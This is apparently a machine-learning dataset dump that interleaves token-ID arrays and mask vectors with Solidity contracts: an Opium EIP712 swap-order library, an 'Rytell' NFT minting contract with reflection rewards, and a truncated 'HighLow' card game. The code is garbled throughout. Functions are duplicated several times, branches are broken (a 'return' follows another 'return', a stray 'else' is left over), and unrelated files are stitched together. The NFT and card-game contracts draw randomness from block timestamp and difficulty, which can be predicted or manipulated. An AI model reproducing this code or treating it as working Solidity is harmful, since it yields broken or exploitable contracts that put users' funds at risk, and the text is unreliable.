[ 1, 565, 445, 444, 8259, 1887, 12, 2867, 394, 8259, 13, 3903, 1338, 5541, 288, 203, 3639, 2583, 12, 2704, 8259, 480, 1758, 12, 10717, 10019, 203, 3639, 467, 8259, 389, 2704, 8259, 273, 467, 8259, 12, 2704, 8259, 1769, 203, 3639, 1758, 336, 67, 6017, 273, 467, 1733, 24899, 2704, 8259, 18, 6848, 1435, 2934, 588, 4154, 12, 203, 5411, 1758, 12, 2211, 3631, 203, 5411, 389, 2704, 8259, 18, 59, 1584, 44, 1435, 203, 3639, 11272, 203, 3639, 309, 261, 588, 67, 6017, 422, 1758, 12, 20, 3719, 288, 203, 5411, 3082, 273, 467, 1733, 24899, 2704, 8259, 18, 6848, 1435, 2934, 2640, 4154, 12, 203, 7734, 1758, 12, 2211, 3631, 203, 7734, 389, 2704, 8259, 18, 59, 1584, 44, 1435, 203, 5411, 11272, 203, 5411, 3082, 273, 336, 67, 6017, 31, 203, 3639, 289, 203, 3639, 4633, 273, 389, 2704, 8259, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.16; pragma experimental ABIEncoderV2; import "../../Lib/LibEIP712.sol"; /// @title Opium.Matching.SwaprateMatch.LibSwaprateOrder contract implements EIP712 signed SwaprateOrder for Opium.Matching.SwaprateMatch contract LibSwaprateOrder is LibEIP712 { /** Structure of order Description should be considered from the order signer (maker) perspective syntheticId - address of derivative syntheticId oracleId - address of derivative oracleId token - address of derivative margin token makerMarginAddress - address of token that maker is willing to pay with takerMarginAddress - address of token that maker is willing to receive makerAddress - address of maker takerAddress - address of counterparty (taker). If zero address, then taker could be anyone senderAddress - address which is allowed to settle the order on-chain. If zero address, then anyone could settle relayerAddress - address of the relayer fee recipient affiliateAddress - address of the affiliate fee recipient feeTokenAddress - address of token which is used for fees endTime - timestamp of derivative maturity quantity - quantity of positions maker wants to receive partialFill - whether maker allows partial fill of it's order param0...param9 - additional params to pass it to syntheticId relayerFee - amount of fee in feeToken that should be paid to relayer affiliateFee - amount of fee in feeToken that should be paid to affiliate nonce - unique order ID signature - Signature of EIP712 message. Not used in hash, but then set for order processing purposes */ struct SwaprateOrder { address syntheticId; address oracleId; address token; address makerAddress; address takerAddress; address senderAddress; address relayerAddress; address affiliateAddress; address feeTokenAddress; uint256 endTime; uint256 quantity; uint256 partialFill; uint256 param0; uint256 param1; uint256 param2; uint256 param3; uint256 param4; uint256 param5; uint256 param6; uint256 param7; uint256 param8; uint256 param9; uint256 relayerFee; uint256 affiliateFee; uint256 nonce; // Not used in hash bytes signature; } // Calculate typehash of Order bytes32 constant internal EIP712_ORDER_TYPEHASH = keccak256(abi.encodePacked( "Order(", "address syntheticId,", "address oracleId,", "address token,", "address makerAddress,", "address takerAddress,", "address senderAddress,", "address relayerAddress,", "address affiliateAddress,", "address feeTokenAddress,", "uint256 endTime,", "uint256 quantity,", "uint256 partialFill,", "uint256 param0,", "uint256 param1,", "uint256 param2,", "uint256 param3,", "uint256 param4,", "uint256 param5,", "uint256 param6,", "uint256 param7,", "uint256 param8,", "uint256 param9,", "uint256 relayerFee,", "uint256 affiliateFee,", "uint256 nonce", ")" )); /// @notice Hashes the order /// @param _order SwaprateOrder Order to hash /// @return hash bytes32 Order hash function hashOrder(SwaprateOrder memory _order) public pure returns (bytes32 hash) { hash = keccak256( abi.encodePacked( abi.encodePacked( EIP712_ORDER_TYPEHASH, uint256(_order.syntheticId), uint256(_order.oracleId), uint256(_order.token), uint256(_order.makerAddress), uint256(_order.takerAddress), uint256(_order.senderAddress), uint256(_order.relayerAddress), uint256(_order.affiliateAddress), uint256(_order.feeTokenAddress) ), abi.encodePacked( _order.endTime, _order.quantity, _order.partialFill ), abi.encodePacked( _order.param0, _order.param1, _order.param2, _order.param3, _order.param4 ), abi.encodePacked( _order.param5, _order.param6, _order.param7, _order.param8, _order.param9 ), abi.encodePacked( _order.relayerFee, _order.affiliateFee, _order.nonce ) ) ); } /// @notice Verifies order signature /// @param _hash bytes32 Hash of the order /// @param _signature bytes Signature of the order /// @param _address address Address of the order signer /// @return bool Returns whether `_signature` is valid and was created by `_address` function verifySignature(bytes32 _hash, bytes memory _signature, address _address) internal view returns (bool) { require(_signature.length == 65, "ORDER:INVALID_SIGNATURE_LENGTH"); bytes32 digest = hashEIP712Message(_hash); address recovered = retrieveAddress(digest, _signature); return _address == recovered; } /// @notice Helping function to recover signer address /// @param _hash bytes32 Hash for signature /// @param _signature bytes Signature /// @return address Returns address of signature creator function retrieveAddress(bytes32 _hash, bytes memory _signature) private pure returns (address) { bytes32 r; bytes32 s; uint8 v; // Divide the signature in r, s and v variables // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solium-disable-next-line security/no-inline-assembly assembly { r := mload(add(_signature, 32)) s := mload(add(_signature, 64)) v := byte(0, mload(add(_signature, 96))) } // Version of signature should be 27 or 28, but 0 and 1 are also possible versions if (v < 27) { v += 27; } // If the version is correct return the signer address if (v != 27 && v != 28) { return (address(0)); } else { // solium-disable-next-line arg-overflow return ecrecover(_hash, v, r, s); } } }
@title Opium.Matching.SwaprateMatch.LibSwaprateOrder contract implements EIP712 signed SwaprateOrder for Opium.Matching.SwaprateMatch
contract LibSwaprateOrder is LibEIP712 { Structure of order Description should be considered from the order signer (maker) perspective syntheticId - address of derivative syntheticId oracleId - address of derivative oracleId token - address of derivative margin token makerMarginAddress - address of token that maker is willing to pay with takerMarginAddress - address of token that maker is willing to receive makerAddress - address of maker takerAddress - address of counterparty (taker). If zero address, then taker could be anyone senderAddress - address which is allowed to settle the order on-chain. If zero address, then anyone could settle relayerAddress - address of the relayer fee recipient affiliateAddress - address of the affiliate fee recipient feeTokenAddress - address of token which is used for fees endTime - timestamp of derivative maturity quantity - quantity of positions maker wants to receive partialFill - whether maker allows partial fill of it's order param0...param9 - additional params to pass it to syntheticId relayerFee - amount of fee in feeToken that should be paid to relayer affiliateFee - amount of fee in feeToken that should be paid to affiliate nonce - unique order ID signature - Signature of EIP712 message. Not used in hash, but then set for order processing purposes struct SwaprateOrder { address syntheticId; address oracleId; address token; address makerAddress; address takerAddress; address senderAddress; address relayerAddress; address affiliateAddress; address feeTokenAddress; uint256 endTime; uint256 quantity; uint256 partialFill; uint256 param0; uint256 param1; uint256 param2; uint256 param3; uint256 param4; uint256 param5; uint256 param6; uint256 param7; uint256 param8; uint256 param9; uint256 relayerFee; uint256 affiliateFee; uint256 nonce; bytes signature; } "Order(", "address syntheticId,", "address oracleId,", "address token,", "address makerAddress,", "address takerAddress,", "address senderAddress,", "address relayerAddress,", "address affiliateAddress,", "address feeTokenAddress,", "uint256 endTime,", "uint256 quantity,", "uint256 partialFill,", "uint256 param0,", "uint256 param1,", "uint256 param2,", "uint256 param3,", "uint256 param4,", "uint256 param5,", "uint256 param6,", "uint256 param7,", "uint256 param8,", "uint256 param9,", "uint256 relayerFee,", "uint256 affiliateFee,", "uint256 nonce", ")" )); bytes32 constant internal EIP712_ORDER_TYPEHASH = keccak256(abi.encodePacked( function hashOrder(SwaprateOrder memory _order) public pure returns (bytes32 hash) { hash = keccak256( abi.encodePacked( abi.encodePacked( EIP712_ORDER_TYPEHASH, uint256(_order.syntheticId), uint256(_order.oracleId), uint256(_order.token), uint256(_order.makerAddress), uint256(_order.takerAddress), uint256(_order.senderAddress), uint256(_order.relayerAddress), uint256(_order.affiliateAddress), uint256(_order.feeTokenAddress) ), abi.encodePacked( _order.endTime, _order.quantity, _order.partialFill ), abi.encodePacked( _order.param0, _order.param1, _order.param2, _order.param3, _order.param4 ), abi.encodePacked( _order.param5, _order.param6, _order.param7, _order.param8, _order.param9 ), abi.encodePacked( _order.relayerFee, _order.affiliateFee, _order.nonce ) ) ); } function verifySignature(bytes32 _hash, bytes memory _signature, address _address) internal view returns (bool) { require(_signature.length == 65, "ORDER:INVALID_SIGNATURE_LENGTH"); bytes32 digest = hashEIP712Message(_hash); address recovered = retrieveAddress(digest, _signature); return _address == recovered; } function retrieveAddress(bytes32 _hash, bytes memory _signature) private pure returns (address) { bytes32 r; bytes32 s; uint8 v; assembly { r := mload(add(_signature, 32)) s := mload(add(_signature, 64)) v := byte(0, mload(add(_signature, 96))) } if (v < 27) { v += 27; } if (v != 27 && v != 28) { return (address(0)); return ecrecover(_hash, v, r, s); } } function retrieveAddress(bytes32 _hash, bytes memory _signature) private pure returns (address) { bytes32 r; bytes32 s; uint8 v; assembly { r := mload(add(_signature, 32)) s := mload(add(_signature, 64)) v := byte(0, mload(add(_signature, 96))) } if (v < 27) { v += 27; } if (v != 27 && v != 28) { return (address(0)); return ecrecover(_hash, v, r, s); } } function retrieveAddress(bytes32 _hash, bytes memory _signature) private pure returns (address) { bytes32 r; bytes32 s; uint8 v; assembly { r := mload(add(_signature, 32)) s := mload(add(_signature, 64)) v := byte(0, mload(add(_signature, 96))) } if (v < 27) { v += 27; } if (v != 27 && v != 28) { return (address(0)); return ecrecover(_hash, v, r, s); } } function retrieveAddress(bytes32 _hash, bytes memory _signature) private pure returns (address) { bytes32 r; bytes32 s; uint8 v; assembly { r := mload(add(_signature, 32)) s := mload(add(_signature, 64)) v := byte(0, mload(add(_signature, 96))) } if (v < 27) { v += 27; } if (v != 27 && v != 28) { return (address(0)); return ecrecover(_hash, v, r, s); } } } else { }
13,078,234
[ 1, 3817, 5077, 18, 9517, 18, 12521, 5141, 2060, 18, 5664, 12521, 5141, 2448, 6835, 4792, 512, 2579, 27, 2138, 6726, 12738, 5141, 2448, 364, 6066, 5077, 18, 9517, 18, 12521, 5141, 2060, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 10560, 12521, 5141, 2448, 353, 10560, 41, 2579, 27, 2138, 288, 203, 3639, 13348, 434, 1353, 203, 3639, 6507, 1410, 506, 7399, 628, 326, 1353, 10363, 261, 29261, 13, 26651, 203, 203, 3639, 25535, 548, 300, 1758, 434, 16417, 25535, 548, 203, 3639, 20865, 548, 300, 1758, 434, 16417, 20865, 548, 203, 3639, 1147, 300, 1758, 434, 16417, 7333, 1147, 203, 203, 3639, 312, 6388, 9524, 1887, 300, 1758, 434, 1147, 716, 312, 6388, 353, 903, 310, 358, 8843, 598, 203, 3639, 268, 6388, 9524, 1887, 300, 1758, 434, 1147, 716, 312, 6388, 353, 903, 310, 358, 6798, 203, 203, 3639, 312, 6388, 1887, 300, 1758, 434, 312, 6388, 203, 3639, 268, 6388, 1887, 300, 1758, 434, 3895, 21214, 261, 88, 6388, 2934, 971, 3634, 1758, 16, 1508, 268, 6388, 3377, 506, 1281, 476, 203, 203, 3639, 5793, 1887, 300, 1758, 1492, 353, 2935, 358, 444, 5929, 326, 1353, 603, 17, 5639, 18, 971, 3634, 1758, 16, 1508, 1281, 476, 3377, 444, 5929, 203, 203, 3639, 1279, 1773, 1887, 300, 1758, 434, 326, 1279, 1773, 14036, 8027, 203, 3639, 7103, 330, 3840, 1887, 300, 1758, 434, 326, 7103, 330, 3840, 14036, 8027, 203, 203, 3639, 14036, 1345, 1887, 300, 1758, 434, 1147, 1492, 353, 1399, 364, 1656, 281, 203, 203, 3639, 13859, 300, 2858, 434, 16417, 29663, 203, 203, 3639, 10457, 300, 10457, 434, 6865, 312, 6388, 14805, 358, 6798, 203, 3639, 4702, 8026, 300, 2856, 312, 6388, 5360, 4702, 3636, 434, 518, 1807, 1353, 203, 203, 3639, 579, 20, 2777, 891, 29, 2 ]
./full_match/43113/0xeEb298ED73302e39178a2C21b28DAe3724fc9f86/sources/contracts/test.sol
Max supply of NFTs Mint price is 2.5 AVAX Pending count Start time for main droptodo Max number of giveaways Total reflection balance Total supply of NFTs Pending Ids Minters Admin wallet Giveaway winners
contract Rytell is ERC721Metadata, IRytell{ using SafeMath for uint256; using Counters for Counters.Counter; uint256 public constant MAX_NFT_SUPPLY = 10000; uint256 public constant MINT_PRICE = 2.5 ether; uint256 public constant MAX_MINT_AMOUNT = 50; uint256 public constant MAX_MINT_AMOUNT_AT_ONCE = 20; uint256 public pendingCount = MAX_NFT_SUPPLY; uint256 public startTime; bool public paused = true; uint256 public giveawayMax = 50; uint256 public reflectionBalance; uint256 public totalDividend; mapping(uint256 => uint256) public lastDividendAt; uint256 private _totalSupply; uint256[10001] private _pendingIds; mapping(uint256 => address) private _minters; mapping(address => uint256) private _mintedCounts; address private _admin; mapping(uint256 => address) private _giveaways; Counters.Counter private _giveawayCounter; modifier periodStarted() { require(block.timestamp >= startTime, "Rytell: Period not started"); _; } constructor( string memory baseURI_, string memory initNotRevealedUri_, address admin_ ) ERC721Metadata("Rytell", "RYT", baseURI_, initNotRevealedUri_) { _admin = admin_; } function pause(bool _state) public onlyOwner { paused = _state; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function claimReward(uint256 tokenId) public { require( ownerOf(tokenId) == _msgSender() || getApproved(tokenId) == _msgSender(), "Rytell: Only owner or approved can claim rewards"); require( _giveaways[tokenId] == address(0), "Rytell: can't claim for giveaways"); uint256 balance = getReflectionBalance(tokenId); payable(ownerOf(tokenId)).transfer(balance); lastDividendAt[tokenId] = totalDividend; } function claimRewards() public { uint count = balanceOf(msg.sender); uint256 balance = 0; for (uint i = 0; i < count; i++) { uint tokenId = tokenOfOwnerByIndex(msg.sender, i); if (_giveaways[tokenId] != address(0)) continue; balance = balance.add(getReflectionBalance(tokenId)); lastDividendAt[tokenId] = totalDividend; } payable(msg.sender).transfer(balance); } function claimRewards() public { uint count = balanceOf(msg.sender); uint256 balance = 0; for (uint i = 0; i < count; i++) { uint tokenId = tokenOfOwnerByIndex(msg.sender, i); if (_giveaways[tokenId] != address(0)) continue; balance = balance.add(getReflectionBalance(tokenId)); lastDividendAt[tokenId] = totalDividend; } payable(msg.sender).transfer(balance); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function getReflectionBalance(uint256 tokenId) public view returns (uint256) { return totalDividend.sub(lastDividendAt[tokenId]); } function getReflectionBalances() public view returns (uint256) { uint count = balanceOf(msg.sender); uint256 total = 0; for (uint i = 0; i < count; i++) { uint tokenId = tokenOfOwnerByIndex(msg.sender, i); if (_giveaways[tokenId] != address(0)) continue; total = total.add(getReflectionBalance(tokenId)); } return total; } function getReflectionBalances() public view returns (uint256) { uint count = balanceOf(msg.sender); uint256 total = 0; for (uint i = 0; i < count; i++) { uint tokenId = tokenOfOwnerByIndex(msg.sender, i); if (_giveaways[tokenId] != address(0)) continue; total = total.add(getReflectionBalance(tokenId)); } return total; } function getMintedCounts(address _sender) public view returns (uint256) { return _mintedCounts[_sender]; } function getMinter(uint256 tokenId) override external view returns (address) { return _minters[tokenId]; } function getPendingIndexById( uint256 tokenId, uint256 startIndex, uint256 totalCount) external view returns (uint256) { for (uint256 i = startIndex; i < totalCount; i++) { uint256 pendingTokenId = _getPendingAtIndex(i); if (pendingTokenId == tokenId) { return i; } } revert("NFTInitialSeller: invalid token id(pending index)"); } function getPendingIndexById( uint256 tokenId, uint256 startIndex, uint256 totalCount) external view returns (uint256) { for (uint256 i = startIndex; i < totalCount; i++) { uint256 pendingTokenId = _getPendingAtIndex(i); if (pendingTokenId == tokenId) { return i; } } revert("NFTInitialSeller: invalid token id(pending index)"); } function getPendingIndexById( uint256 tokenId, uint256 startIndex, uint256 totalCount) external view returns (uint256) { for (uint256 i = startIndex; i < totalCount; i++) { uint256 pendingTokenId = _getPendingAtIndex(i); if (pendingTokenId == tokenId) { return i; } } revert("NFTInitialSeller: invalid token id(pending index)"); } function setStartTime(uint256 _startTime) external onlyOwner { uint256 sTime = block.timestamp.add(_startTime); require(sTime > 0, "Rytell: invalid start time"); startTime = sTime; } function setGiveawayMax(uint256 _giveawayMax) external onlyOwner { require( _giveawayMax >= 0 && _giveawayMax <= MAX_NFT_SUPPLY, "Rytell: invalid max value" ); require(giveawayMax != _giveawayMax, "Rytell: already set"); giveawayMax = _giveawayMax; } function randomGiveaway(address to) external onlyOwner { require(to != address(0), "Rytell: zero address"); require( _giveawayCounter.current() < giveawayMax, "Rytell: overflow giveaways" ); uint256 tokenId = _randomMint(to); _giveaways[tokenId] = to; _giveawayCounter.increment(); } function purchase(uint256 numberOfNfts) external payable periodStarted { require(pendingCount > 0, "Rytell: All minted"); require(numberOfNfts > 0, "Rytell: NumberOfNfts cannot be 0"); require(totalSupply().add(numberOfNfts) <= MAX_NFT_SUPPLY, "Rytell: sale already ended"); if (msg.sender != owner()) { require(!paused, "Rytell: The contract is paused"); require(numberOfNfts <= MAX_MINT_AMOUNT_AT_ONCE, "Rytell: You may not buy more than 20 NFTs at once"); require(getMintedCounts(msg.sender) + numberOfNfts <= MAX_MINT_AMOUNT, "Rytell: You may not buy more than 50 NFTs"); require(MINT_PRICE.mul(numberOfNfts) == msg.value, "Rytell: invalid ether value"); } for (uint i = 0; i < numberOfNfts; i++) { _randomMint(msg.sender); _splitBalance(msg.value.div(numberOfNfts)); } } function purchase(uint256 numberOfNfts) external payable periodStarted { require(pendingCount > 0, "Rytell: All minted"); require(numberOfNfts > 0, "Rytell: NumberOfNfts cannot be 0"); require(totalSupply().add(numberOfNfts) <= MAX_NFT_SUPPLY, "Rytell: sale already ended"); if (msg.sender != owner()) { require(!paused, "Rytell: The contract is paused"); require(numberOfNfts <= MAX_MINT_AMOUNT_AT_ONCE, "Rytell: You may not buy more than 20 NFTs at once"); require(getMintedCounts(msg.sender) + numberOfNfts <= MAX_MINT_AMOUNT, "Rytell: You may not buy more than 50 NFTs"); require(MINT_PRICE.mul(numberOfNfts) == msg.value, "Rytell: invalid ether value"); } for (uint i = 0; i < numberOfNfts; i++) { _randomMint(msg.sender); _splitBalance(msg.value.div(numberOfNfts)); } } function purchase(uint256 numberOfNfts) external payable periodStarted { require(pendingCount > 0, "Rytell: All minted"); require(numberOfNfts > 0, "Rytell: NumberOfNfts cannot be 0"); require(totalSupply().add(numberOfNfts) <= MAX_NFT_SUPPLY, "Rytell: sale already ended"); if (msg.sender != owner()) { require(!paused, "Rytell: The contract is paused"); require(numberOfNfts <= MAX_MINT_AMOUNT_AT_ONCE, "Rytell: You may not buy more than 20 NFTs at once"); require(getMintedCounts(msg.sender) + numberOfNfts <= MAX_MINT_AMOUNT, "Rytell: You may not buy more than 50 NFTs"); require(MINT_PRICE.mul(numberOfNfts) == msg.value, "Rytell: invalid ether value"); } for (uint i = 0; i < numberOfNfts; i++) { _randomMint(msg.sender); _splitBalance(msg.value.div(numberOfNfts)); } } function giveaway(address to_) external payable override onlyOwner { uint256 randomIn = _getRandom() .mod(pendingCount); uint256 index = randomIn.add(1); uint256 tokenId = _popPendingAtIndex(index); _totalSupply++; _minters[tokenId] = to_; _mint(to_, tokenId); } function _splitBalance(uint256 amount) private { uint256 reflectionShare = amount.mul(8).div(100); uint256 subAmount = amount.sub(reflectionShare); _reflectDividend(reflectionShare); payable(_admin).transfer(subAmount); } function _reflectDividend(uint256 amount) private { reflectionBalance = reflectionBalance.add(amount); uint256 fee = amount.div(totalSupply()); totalDividend = totalDividend.add(fee); } function _randomMint(address to_) private returns (uint256) { require(to_ != address(0), "Rytell: zero address"); require(totalSupply() < MAX_NFT_SUPPLY, "Rytell: max supply reached"); uint256 randomIn = _getRandom().mod(pendingCount); uint256 index = randomIn.add(1); uint256 tokenId = _popPendingAtIndex(index); _totalSupply = _totalSupply.add(1); _minters[tokenId] = msg.sender; _mintedCounts[msg.sender]++; lastDividendAt[tokenId] = totalDividend; _safeMint(to_, tokenId); return tokenId; } function _getPendingAtIndex(uint256 _index) private view returns (uint256) { return _pendingIds[_index].add(_index); } function _popPendingAtIndex(uint256 _index) private returns (uint256) { uint256 tokenId = _getPendingAtIndex(_index); if (_index != pendingCount) { uint256 lastPendingId = _getPendingAtIndex(pendingCount); _pendingIds[_index] = lastPendingId.sub(_index); } pendingCount = pendingCount.sub(1); return tokenId; } function _popPendingAtIndex(uint256 _index) private returns (uint256) { uint256 tokenId = _getPendingAtIndex(_index); if (_index != pendingCount) { uint256 lastPendingId = _getPendingAtIndex(pendingCount); _pendingIds[_index] = lastPendingId.sub(_index); } pendingCount = pendingCount.sub(1); return tokenId; } function _getRandom() private view returns (uint256) { return uint256(keccak256( abi.encodePacked(block.difficulty, block.timestamp, pendingCount) ) ); } }
13,158,531
[ 1, 2747, 14467, 434, 423, 4464, 87, 490, 474, 6205, 353, 576, 18, 25, 15068, 2501, 16034, 1056, 3603, 813, 364, 2774, 31473, 337, 7370, 4238, 1300, 434, 8492, 69, 3052, 10710, 5463, 11013, 10710, 14467, 434, 423, 4464, 87, 16034, 29085, 490, 2761, 87, 7807, 9230, 22374, 26718, 5657, 9646, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 534, 93, 88, 1165, 353, 4232, 39, 27, 5340, 2277, 16, 15908, 93, 88, 1165, 95, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 9354, 87, 364, 9354, 87, 18, 4789, 31, 203, 203, 565, 2254, 5034, 1071, 5381, 4552, 67, 50, 4464, 67, 13272, 23893, 273, 12619, 31, 203, 203, 565, 2254, 5034, 1071, 5381, 490, 3217, 67, 7698, 1441, 273, 576, 18, 25, 225, 2437, 31, 203, 203, 565, 2254, 5034, 1071, 5381, 4552, 67, 49, 3217, 67, 2192, 51, 5321, 273, 6437, 31, 203, 565, 2254, 5034, 1071, 5381, 4552, 67, 49, 3217, 67, 2192, 51, 5321, 67, 789, 67, 673, 1441, 273, 4200, 31, 203, 203, 565, 2254, 5034, 1071, 4634, 1380, 273, 4552, 67, 50, 4464, 67, 13272, 23893, 31, 203, 203, 565, 2254, 5034, 1071, 8657, 31, 203, 203, 565, 1426, 1071, 17781, 273, 638, 31, 203, 203, 565, 2254, 5034, 1071, 8492, 26718, 2747, 273, 6437, 31, 203, 203, 565, 2254, 5034, 1071, 5463, 13937, 31, 203, 565, 2254, 5034, 1071, 2078, 7244, 26746, 31, 203, 565, 2874, 12, 11890, 5034, 516, 2254, 5034, 13, 1071, 1142, 7244, 26746, 861, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 203, 565, 2254, 5034, 63, 6625, 1611, 65, 3238, 389, 9561, 2673, 31, 203, 203, 565, 2874, 12, 11890, 5034, 516, 1758, 13, 3238, 389, 1154, 5432, 31, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 3238, 389, 81, 474, 329, 9211, 31, 203, 203, 565, 1758, 3238, 2 ]
pragma solidity ^0.5.0; contract HighLow{ /* ----- importing card Library ------ */ enum Suit { Clubs, Diamonds, Hearts, Spades } enum Value { Two, Three, Four, Five, Six, Seven, Eight, Nine, Ten, Jack, King, Queen, Ace } enum Bet { None, High, Low } /// We choose the following order : 1) value, 2) suit as convention for announcing /// When a new card is announced, it should be "8 of spade", not "spade of 8" uint[52] deck; uint currentCard = 200; struct Player { string player_name; uint value; Bet playerBet; uint betValue; } /// Shuffle cards from the deck function shuffleDeck() internal { for (uint256 i = 0; i < deck.length; i++) { uint256 n = i + uint256(keccak256(abi.encodePacked(now))) % (deck.length - i); uint256 temp = deck[n]; deck[n] = deck[i]; deck[i] = temp; } } function getCardValue() internal view returns(Bet) { uint suit = deck[currentCard]/uint(13); uint val = deck[currentCard] - (suit*uint(13)); if(val < 6) return Bet.Low; else return Bet.High; } function nextCard() internal{ if(currentCard == 200){ shuffleDeck(); currentCard = 1; } else{ currentCard = currentCard + 1; } } function checkStatus() internal view returns(bool){ if(currentCard == 42){ return true; } else{ return false; } } function getCardString() internal view returns(string memory){ uint suit = deck[currentCard]/uint(13); uint val = deck[currentCard] - (suit*uint(13)); string memory card; if(val == 0) card = "Ace of"; if(val == 1) card = "2 of"; if(val == 2) card = "3 of"; if(val == 3) card = "4 of"; if(val == 4) card = "5 of"; if(val == 5) card = "6 of"; if(val == 6) card = "7 of"; if(val == 7) card = "8 of"; if(val == 8) card = "9 of"; if(val == 9) card = "10 of"; if(val == 10) card = "Jack of"; if(val == 11) card = "Queen of"; if(val == 12) card = "King of"; if(suit == 0) card = concat(card," Clubs"); if(suit == 1) card = concat(card," Hearts"); if(suit == 2) card = concat(card," Diamonds"); if(suit == 3) card = concat(card," Spades"); return card; } // copied from internet function concat(string memory _a, string memory _b) internal pure returns (string memory){ bytes memory bytes_a = bytes(_a); bytes memory bytes_b = bytes(_b); string memory length_ab = new string(bytes_a.length + bytes_b.length); bytes memory bytes_c = bytes(length_ab); uint k = 0; for (uint i = 0; i < bytes_a.length; i++) bytes_c[k++] = bytes_a[i]; for (uint i = 0; i < bytes_b.length; i++) bytes_c[k++] = bytes_b[i]; return string(bytes_c); } /* ------- done -------- */ uint public numOfPlayers; uint currentPlayer; string cardString; Player[] players; enum State { Initial, AddPlayers, Bets, Done, NewGame } State state; constructor() public{ for(uint i=0;i<52;i++) { deck[i]= i; } shuffleDeck(); numOfPlayers = 0; currentPlayer = 0; state = State.NewGame; players.length = 0; } function incr() public returns(string memory){ numOfPlayers = numOfPlayers + 1; return "done"; } function showin() public view returns(uint){ return numOfPlayers; } function startgame() public{ state = State.Initial; } // to set the number of players in the house function setNumOfPlayers(uint _val) public returns(string memory) { if(state == State.Initial) { if( _val >= 0 ) { numOfPlayers = _val; state = State.AddPlayers; if(state==State.AddPlayers) { return "changed"; } else{ return "unchanged"; } } else{ return "Number of players should be >=0"; } } else{ return "Game is going on, the number of players cannot be modified (:"; } } // returns current Player while bets are taking place function showCurrentPlayer() public view returns(string memory) { if(state == State.Bets){ return players[currentPlayer].player_name; } else{ return "Currently Bets are not taken."; } } // if state == Bets, the function records the bets of each player in function setPlayer(string memory _player_name) public { if(state == State.AddPlayers){ Player memory new_player = Player({ player_name: _player_name, playerBet: 